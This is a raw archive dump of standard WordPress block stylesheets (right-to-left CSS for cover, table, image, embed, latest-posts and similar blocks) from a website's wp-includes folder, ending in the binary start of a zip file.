  opacity:.5;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{
  opacity:.6;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{
  opacity:.7;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{
  opacity:.8;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{
  opacity:.9;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{
  opacity:1;
}
.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  display:flex;
}
.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{
  color:inherit; direction:rtl;
  position:relative;
  width:100%;
}
.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{
  align-items:flex-start;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{
  align-items:flex-start;
  justify-content:center;
}
.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{
  align-items:flex-start;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{
  align-items:center;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{
  align-items:center;
  justify-content:center;
}
.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{
  align-items:center;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{
  align-items:flex-end;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{
  align-items:flex-end;
  justify-content:center;
}
.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{
  align-items:flex-end;
  justify-content:flex-end;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{
  margin:0;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{
  margin:0;
  width:auto;
}
.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{
  border:none;
  bottom:0;
  box-shadow:none;
  height:100%;
  left:0;
  margin:0;
  max-height:none;
  max-width:none;
  object-fit:cover;
  outline:none;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
  background-attachment:fixed;
  background-repeat:no-repeat;
  background-size:cover;
}
@supports (-webkit-touch-callout:inherit){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
@media (prefers-reduced-motion:reduce){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{
  background-repeat:repeat;
  background-size:auto;
}
.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{
  color:#fff;
}

.wp-block-cover-image .wp-block-cover.has-left-content{
  justify-content:flex-start;
}
.wp-block-cover-image .wp-block-cover.has-right-content{
  justify-content:flex-end;
}

.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{
  margin-right:0;
  text-align:right;
}

.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{
  margin-left:0;
  text-align:left;
}

.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{
  font-size:2em;
  line-height:1.25;
  margin-bottom:0;
  max-width:840px;
  padding:.44em;
  text-align:center;
  z-index:1;
}

:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){
  color:#fff;
}

:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){
  color:#000;
}

:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){
  color:inherit;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{
  z-index:0;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{
  z-index:1;
}
.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{
  z-index:auto;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/group/style-rtl.css000064400000000201151024266570026437 0ustar00.wp-block-group{
  box-sizing:border-box;
}

:where(.wp-block-group.wp-block-group-is-layout-constrained){
  position:relative;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/verse/style-rtl.css000064400000000164151024267030026427 0ustar00pre.wp-block-verse{
  overflow:auto;
  white-space:pre-wrap;
}

:where(pre.wp-block-verse){
  font-family:inherit;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/table/style-rtl.css000064400000007724151024267070026407 0ustar00.wp-block-table{
  overflow-x:auto;
}
.wp-block-table table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-table thead{
  border-bottom:3px solid;
}
.wp-block-table tfoot{
  border-top:3px solid;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table .has-fixed-layout{
  table-layout:fixed;
  width:100%;
}
.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{
  word-break:break-word;
}
.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{
  display:table;
  width:auto;
}
.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{
  word-break:break-word;
}
.wp-block-table .has-subtle-light-gray-background-color{
  background-color:#f3f4f5;
}
.wp-block-table .has-subtle-pale-green-background-color{
  background-color:#e9fbe5;
}
.wp-block-table .has-subtle-pale-blue-background-color{
  background-color:#e7f5fe;
}
.wp-block-table .has-subtle-pale-pink-background-color{
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes{
  background-color:initial;
  border-bottom:1px solid #f0f0f0;
  border-collapse:inherit;
  border-spacing:0;
}
.wp-block-table.is-style-stripes tbody tr:nth-child(odd){
  background-color:#f0f0f0;
}
.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){
  background-color:#f3f4f5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){
  background-color:#e9fbe5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){
  background-color:#e7f5fe;
}
.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{
  border-color:#0000;
}
.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{
  border-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{
  border-top-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:not(:first-child){
  border-top-color:initial;
}
.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{
  border-left-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{
  border-bottom-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){
  border-bottom-color:initial;
}
.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{
  border-right-color:inherit;
}
.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{
  border-style:inherit;
}
.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{
  border-style:inherit;
  border-width:inherit;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/audio/style-rtl.css000064400000000263151024267110026403 0ustar00.wp-block-audio{
  box-sizing:border-box;
}
.wp-block-audio :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-audio audio{
  min-width:300px;
  width:100%;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/quote/style-rtl.css000064400000001346151024271650026446 0ustar00.wp-block-quote{
  box-sizing:border-box;
  overflow-wrap:break-word;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){
  margin-bottom:1em;
  padding:0 1em;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{
  font-size:1.5em;
  font-style:italic;
  line-height:1.6;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{
  font-size:1.125em;
  text-align:left;
}
.wp-block-quote>cite{
  display:block;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/query-title/style-rtl.css000064400000000061151024272160027563 0ustar00.wp-block-query-title{
  box-sizing:border-box;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/image/style-rtl.css000064400000017107151024277620026400 0ustar00.wp-block-image>a,.wp-block-image>figure>a{
  display:inline-block;
}
.wp-block-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
}
@media not (prefers-reduced-motion){
  .wp-block-image img.hide{
    visibility:hidden;
  }
  .wp-block-image img.show{
    animation:show-content-image .4s;
  }
}
.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{
  border-radius:inherit;
}
.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-image.aligncenter{
  text-align:center;
}
.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{
  width:100%;
}
.wp-block-image.alignfull img,.wp-block-image.alignwide img{
  height:auto;
  width:100%;
}
.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{
  display:table;
}
.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{
  caption-side:bottom;
  display:table-caption;
}
.wp-block-image .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-image .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-image .aligncenter{
  margin-left:auto;
  margin-right:auto;
}
.wp-block-image :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-image.is-style-circle-mask img{
  border-radius:9999px;
}
@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){
  .wp-block-image.is-style-circle-mask img{
    border-radius:0;
    -webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
            mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
    mask-mode:alpha;
    -webkit-mask-position:center;
            mask-position:center;
    -webkit-mask-repeat:no-repeat;
            mask-repeat:no-repeat;
    -webkit-mask-size:contain;
            mask-size:contain;
  }
}

:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){
  border-radius:9999px;
}

.wp-block-image figure{
  margin:0;
}

.wp-lightbox-container{
  display:flex;
  flex-direction:column;
  position:relative;
}
.wp-lightbox-container img{
  cursor:zoom-in;
}
.wp-lightbox-container img:hover+button{
  opacity:1;
}
.wp-lightbox-container button{
  align-items:center;
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background-color:#5a5a5a40;
  border:none;
  border-radius:4px;
  cursor:zoom-in;
  display:flex;
  height:20px;
  justify-content:center;
  left:16px;
  opacity:0;
  padding:0;
  position:absolute;
  text-align:center;
  top:16px;
  width:20px;
  z-index:100;
}
@media not (prefers-reduced-motion){
  .wp-lightbox-container button{
    transition:opacity .2s ease;
  }
}
.wp-lightbox-container button:focus-visible{
  outline:3px auto #5a5a5a40;
  outline:3px auto -webkit-focus-ring-color;
  outline-offset:3px;
}
.wp-lightbox-container button:hover{
  cursor:pointer;
  opacity:1;
}
.wp-lightbox-container button:focus{
  opacity:1;
}
.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){
  background-color:#5a5a5a40;
  border:none;
}

.wp-lightbox-overlay{
  box-sizing:border-box;
  cursor:zoom-out;
  height:100vh;
  overflow:hidden;
  position:fixed;
  right:0;
  top:0;
  visibility:hidden;
  width:100%;
  z-index:100000;
}
.wp-lightbox-overlay .close-button{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  left:calc(env(safe-area-inset-left) + 16px);
  min-height:40px;
  min-width:40px;
  padding:0;
  position:absolute;
  top:calc(env(safe-area-inset-top) + 16px);
  z-index:5000000;
}
.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){
  background:none;
  border:none;
}
.wp-lightbox-overlay .lightbox-image-container{
  height:var(--wp--lightbox-container-height);
  overflow:hidden;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  transform-origin:top right;
  width:var(--wp--lightbox-container-width);
  z-index:9999999999;
}
.wp-lightbox-overlay .wp-block-image{
  align-items:center;
  box-sizing:border-box;
  display:flex;
  height:100%;
  justify-content:center;
  margin:0;
  position:relative;
  transform-origin:100% 0;
  width:100%;
  z-index:3000000;
}
.wp-lightbox-overlay .wp-block-image img{
  height:var(--wp--lightbox-image-height);
  min-height:var(--wp--lightbox-image-height);
  min-width:var(--wp--lightbox-image-width);
  width:var(--wp--lightbox-image-width);
}
.wp-lightbox-overlay .wp-block-image figcaption{
  display:none;
}
.wp-lightbox-overlay button{
  background:none;
  border:none;
}
.wp-lightbox-overlay .scrim{
  background-color:#fff;
  height:100%;
  opacity:.9;
  position:absolute;
  width:100%;
  z-index:2000000;
}
.wp-lightbox-overlay.active{
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .wp-lightbox-overlay.active{
    animation:turn-on-visibility .25s both;
  }
  .wp-lightbox-overlay.active img{
    animation:turn-on-visibility .35s both;
  }
  .wp-lightbox-overlay.show-closing-animation:not(.active){
    animation:turn-off-visibility .35s both;
  }
  .wp-lightbox-overlay.show-closing-animation:not(.active) img{
    animation:turn-off-visibility .25s both;
  }
  .wp-lightbox-overlay.zoom.active{
    animation:none;
    opacity:1;
    visibility:visible;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container{
    animation:lightbox-zoom-in .4s;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.active .scrim{
    animation:turn-on-visibility .4s forwards;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active){
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{
    animation:lightbox-zoom-out .4s;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{
    animation:turn-off-visibility .4s forwards;
  }
}

@keyframes show-content-image{
  0%{
    visibility:hidden;
  }
  99%{
    visibility:hidden;
  }
  to{
    visibility:visible;
  }
}
@keyframes turn-on-visibility{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@keyframes turn-off-visibility{
  0%{
    opacity:1;
    visibility:visible;
  }
  99%{
    opacity:0;
    visibility:visible;
  }
  to{
    opacity:0;
    visibility:hidden;
  }
}
@keyframes lightbox-zoom-in{
  0%{
    transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
  }
  to{
    transform:translate(50%, -50%) scale(1);
  }
}
@keyframes lightbox-zoom-out{
  0%{
    transform:translate(50%, -50%) scale(1);
    visibility:visible;
  }
  99%{
    visibility:visible;
  }
  to{
    transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
    visibility:hidden;
  }
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/query-total/style-rtl.css000064400000000061151024300100027547 0ustar00.wp-block-query-total{
  box-sizing:border-box;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/loginout/style-rtl.css000064400000000056151024305770027147 0ustar00.wp-block-loginout{
  box-sizing:border-box;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/archives/style-rtl.css000064400000000145151024313150027101 0ustar00.wp-block-archives{
  box-sizing:border-box;
}

.wp-block-archives-dropdown label{
  display:block;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/calendar/style-rtl.css000064400000001327151024314150027052 0ustar00.wp-block-calendar{
  text-align:center;
}
.wp-block-calendar td,.wp-block-calendar th{
  border:1px solid;
  padding:.25em;
}
.wp-block-calendar th{
  font-weight:400;
}
.wp-block-calendar caption{
  background-color:inherit;
}
.wp-block-calendar table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-calendar table:where(:not(.has-text-color)){
  color:#40464d;
}
.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{
  border-color:#ddd;
}
.wp-block-calendar table.has-background th{
  background-color:inherit;
}
.wp-block-calendar table.has-text-color th{
  color:inherit;
}

:where(.wp-block-calendar table:not(.has-background) th){
  background:#ddd;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/post-author/style-rtl.css000064400000000635151024317520027573 0ustar00.wp-block-post-author{
  box-sizing:border-box;
  display:flex;
  flex-wrap:wrap;
}
.wp-block-post-author__byline{
  font-size:.5em;
  margin-bottom:0;
  margin-top:0;
  width:100%;
}
.wp-block-post-author__avatar{
  margin-left:1em;
}
.wp-block-post-author__bio{
  font-size:.7em;
  margin-bottom:.7em;
}
.wp-block-post-author__content{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-post-author__name{
  margin:0;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/video/style-rtl.css000064400000000502151024404370026405 0ustar00.wp-block-video{
  box-sizing:border-box;
}
.wp-block-video video{
  vertical-align:middle;
  width:100%;
}
@supports (position:sticky){
  .wp-block-video [poster]{
    object-fit:cover;
  }
}
.wp-block-video.aligncenter{
  text-align:center;
}
.wp-block-video :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/embed/style-rtl.css000064400000003301151024436460026360 0ustar00.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{
  max-width:360px;
  width:100%;
}
.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-cover .wp-block-embed{
  min-height:240px;
  min-width:320px;
}

.wp-block-embed{
  overflow-wrap:break-word;
}
.wp-block-embed :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-embed iframe{
  max-width:100%;
}

.wp-block-embed__wrapper{
  position:relative;
}

.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{
  content:"";
  display:block;
  padding-top:50%;
}
.wp-embed-responsive .wp-has-aspect-ratio iframe{
  bottom:0;
  height:100%;
  left:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{
  padding-top:42.85%;
}
.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{
  padding-top:50%;
}
.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{
  padding-top:56.25%;
}
.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{
  padding-top:75%;
}
.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{
  padding-top:100%;
}
.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{
  padding-top:177.77%;
}
.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{
  padding-top:200%;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/latest-posts/style-rtl.css000064400000004044151027215550027751 0ustar00.wp-block-latest-posts{
  box-sizing:border-box;
}
.wp-block-latest-posts.alignleft{
  margin-right:2em;
}
.wp-block-latest-posts.alignright{
  margin-left:2em;
}
.wp-block-latest-posts.wp-block-latest-posts__list{
  list-style:none;
}
.wp-block-latest-posts.wp-block-latest-posts__list li{
  clear:both;
  overflow-wrap:break-word;
}
.wp-block-latest-posts.is-grid{
  display:flex;
  flex-wrap:wrap;
}
.wp-block-latest-posts.is-grid li{
  margin:0 0 1.25em 1.25em;
  width:100%;
}
@media (min-width:600px){
  .wp-block-latest-posts.columns-2 li{
    width:calc(50% - .625em);
  }
  .wp-block-latest-posts.columns-2 li:nth-child(2n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-3 li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-latest-posts.columns-3 li:nth-child(3n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-4 li{
    width:calc(25% - .9375em);
  }
  .wp-block-latest-posts.columns-4 li:nth-child(4n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-5 li{
    width:calc(20% - 1em);
  }
  .wp-block-latest-posts.columns-5 li:nth-child(5n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-6 li{
    width:calc(16.66667% - 1.04167em);
  }
  .wp-block-latest-posts.columns-6 li:nth-child(6n){
    margin-left:0;
  }
}

:root :where(.wp-block-latest-posts.is-grid){
  padding:0;
}
:root :where(.wp-block-latest-posts.wp-block-latest-posts__list){
  padding-right:0;
}

.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{
  display:block;
  font-size:.8125em;
}

.wp-block-latest-posts__post-excerpt,.wp-block-latest-posts__post-full-content{
  margin-bottom:1em;
  margin-top:.5em;
}

.wp-block-latest-posts__featured-image a{
  display:inline-block;
}
.wp-block-latest-posts__featured-image img{
  height:auto;
  max-width:100%;
  width:auto;
}
.wp-block-latest-posts__featured-image.alignleft{
  float:left;
  margin-right:1em;
}
.wp-block-latest-posts__featured-image.alignright{
  float:right;
  margin-left:1em;
}
.wp-block-latest-posts__featured-image.aligncenter{
  margin-bottom:1em;
  text-align:center;
}14338/media-text.zip000064400000043372151024420100010011 0ustar00PK�[d[�yUUeditor-rtl.min.cssnu�[���.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.wp-block-media-text--placeholder-image{min-height:205px}PK�[d[�G>o	o	style-rtl.min.cssnu�[���.wp-block-media-text{box-sizing:border-box;direction:ltr;display:grid;grid-template-columns:50% 